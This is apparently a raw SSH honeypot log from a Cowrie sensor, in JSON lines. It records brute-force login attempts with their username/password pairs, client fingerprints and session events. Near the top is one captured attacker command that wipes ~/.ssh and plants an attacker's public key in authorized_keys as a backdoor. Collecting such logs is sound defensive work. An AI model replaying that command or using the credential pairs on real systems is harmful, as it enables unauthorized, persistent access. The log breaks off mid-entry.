{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:29.456288Z","src_ip":"159.223.94.92","session":"6abfa631374e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:29.459270Z","src_ip":"159.223.94.92","session":"6abfa631374e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:29.700021Z","src_ip":"159.223.94.92","session":"6abfa631374e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:29.703177Z","src_ip":"159.223.94.92","session":"6abfa631374e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.94.92","src_port":58502,"dst_ip":"159.203.135.109","dst_port":22,"session":"01a224340574","protocol":"ssh","message":"New connection: 159.223.94.92:58502 (159.203.135.109:22) [session: 01a224340574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:29.940203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:29.943686Z","src_ip":"159.223.94.92","session":"01a224340574","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:30.198791Z","src_ip":"159.223.94.92","session":"01a224340574","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:31.234074Z","src_ip":"159.223.94.92","session":"01a224340574","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:32.486397Z","src_ip":"159.223.94.92","session":"01a224340574","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.94.92","src_port":59276,"dst_ip":"159.203.135.109","dst_port":22,"session":"889f17914237","protocol":"ssh","message":"New connection: 159.223.94.92:59276 (159.203.135.109:22) [session: 889f17914237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:32.736531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:32.740515Z","src_ip":"159.223.94.92","session":"889f17914237","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:32.987226Z","src_ip":"159.223.94.92","session":"889f17914237","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:34.015487Z","src_ip":"159.223.94.92","session":"889f17914237","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:34.257614Z","src_ip":"159.223.94.92","session":"6abfa631374e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:34.265312Z","src_ip":"159.223.94.92","session":"889f17914237","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":60009,"dst_ip":"10.17.0.5","dst_port":22,"session":"23ec01702745","protocol":"ssh","message":"New connection: 2.57.121.112:60009 (10.17.0.5:22) [session: 23ec01702745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:37.409520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:37.413326Z","src_ip":"2.57.121.112","session":"23ec01702745","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:37.517408Z","src_ip":"2.57.121.112","session":"23ec01702745","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2kgWai","message":"login attempt [admin/2kgWai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:38.007696Z","src_ip":"2.57.121.112","session":"23ec01702745","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2bigtits","message":"login attempt [admin/2bigtits] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:39.113974Z","src_ip":"2.57.121.112","session":"23ec01702745","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2b8riEDT","message":"login attempt [admin/2b8riEDT] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:40.223548Z","src_ip":"2.57.121.112","session":"23ec01702745","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"291289","message":"login attempt [admin/291289] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:41.330502Z","src_ip":"2.57.121.112","session":"23ec01702745","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"291288","message":"login attempt [admin/291288] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:42.438023Z","src_ip":"2.57.121.112","session":"23ec01702745","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:43.544727Z","src_ip":"2.57.121.112","session":"23ec01702745","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":41766,"dst_ip":"159.203.135.109","dst_port":22,"session":"200cbd49c6d5","protocol":"ssh","message":"New connection: 195.178.110.218:41766 (159.203.135.109:22) [session: 200cbd49c6d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:56.764832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:56.768008Z","src_ip":"195.178.110.218","session":"200cbd49c6d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:56.846599Z","src_ip":"195.178.110.218","session":"200cbd49c6d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:57.083738Z","src_ip":"195.178.110.218","session":"200cbd49c6d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:21:58.165132Z","src_ip":"195.178.110.218","session":"200cbd49c6d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":56184,"dst_ip":"10.17.0.5","dst_port":22,"session":"603a55d26fbd","protocol":"ssh","message":"New connection: 27.119.7.6:56184 (10.17.0.5:22) [session: 603a55d26fbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:22:29.737987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:22:29.742407Z","src_ip":"27.119.7.6","session":"603a55d26fbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:22:29.927864Z","src_ip":"27.119.7.6","session":"603a55d26fbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"Ftpadmin123!","message":"login attempt [ftpadmin/Ftpadmin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:22:30.717627Z","src_ip":"27.119.7.6","session":"603a55d26fbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:22:31.905493Z","src_ip":"27.119.7.6","session":"603a55d26fbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":8685,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cc62900fc68","protocol":"ssh","message":"New connection: 2.57.121.112:8685 (159.203.135.109:22) [session: 7cc62900fc68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:22:54.977072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:22:54.981678Z","src_ip":"2.57.121.112","session":"7cc62900fc68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:22:55.085821Z","src_ip":"2.57.121.112","session":"7cc62900fc68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2kgWai","message":"login attempt [admin/2kgWai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:22:55.575036Z","src_ip":"2.57.121.112","session":"7cc62900fc68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2bigtits","message":"login attempt [admin/2bigtits] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:22:56.681506Z","src_ip":"2.57.121.112","session":"7cc62900fc68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2b8riEDT","message":"login attempt [admin/2b8riEDT] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:22:57.787988Z","src_ip":"2.57.121.112","session":"7cc62900fc68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"291289","message":"login attempt [admin/291289] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:22:58.894558Z","src_ip":"2.57.121.112","session":"7cc62900fc68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"291288","message":"login attempt [admin/291288] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:22:59.999779Z","src_ip":"2.57.121.112","session":"7cc62900fc68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:23:01.109468Z","src_ip":"2.57.121.112","session":"7cc62900fc68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.144.233","src_port":46722,"dst_ip":"10.17.0.5","dst_port":22,"session":"1105ed0ed486","protocol":"ssh","message":"New connection: 64.227.144.233:46722 (10.17.0.5:22) [session: 1105ed0ed486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:23:04.793480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:23:04.798490Z","src_ip":"64.227.144.233","session":"1105ed0ed486","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-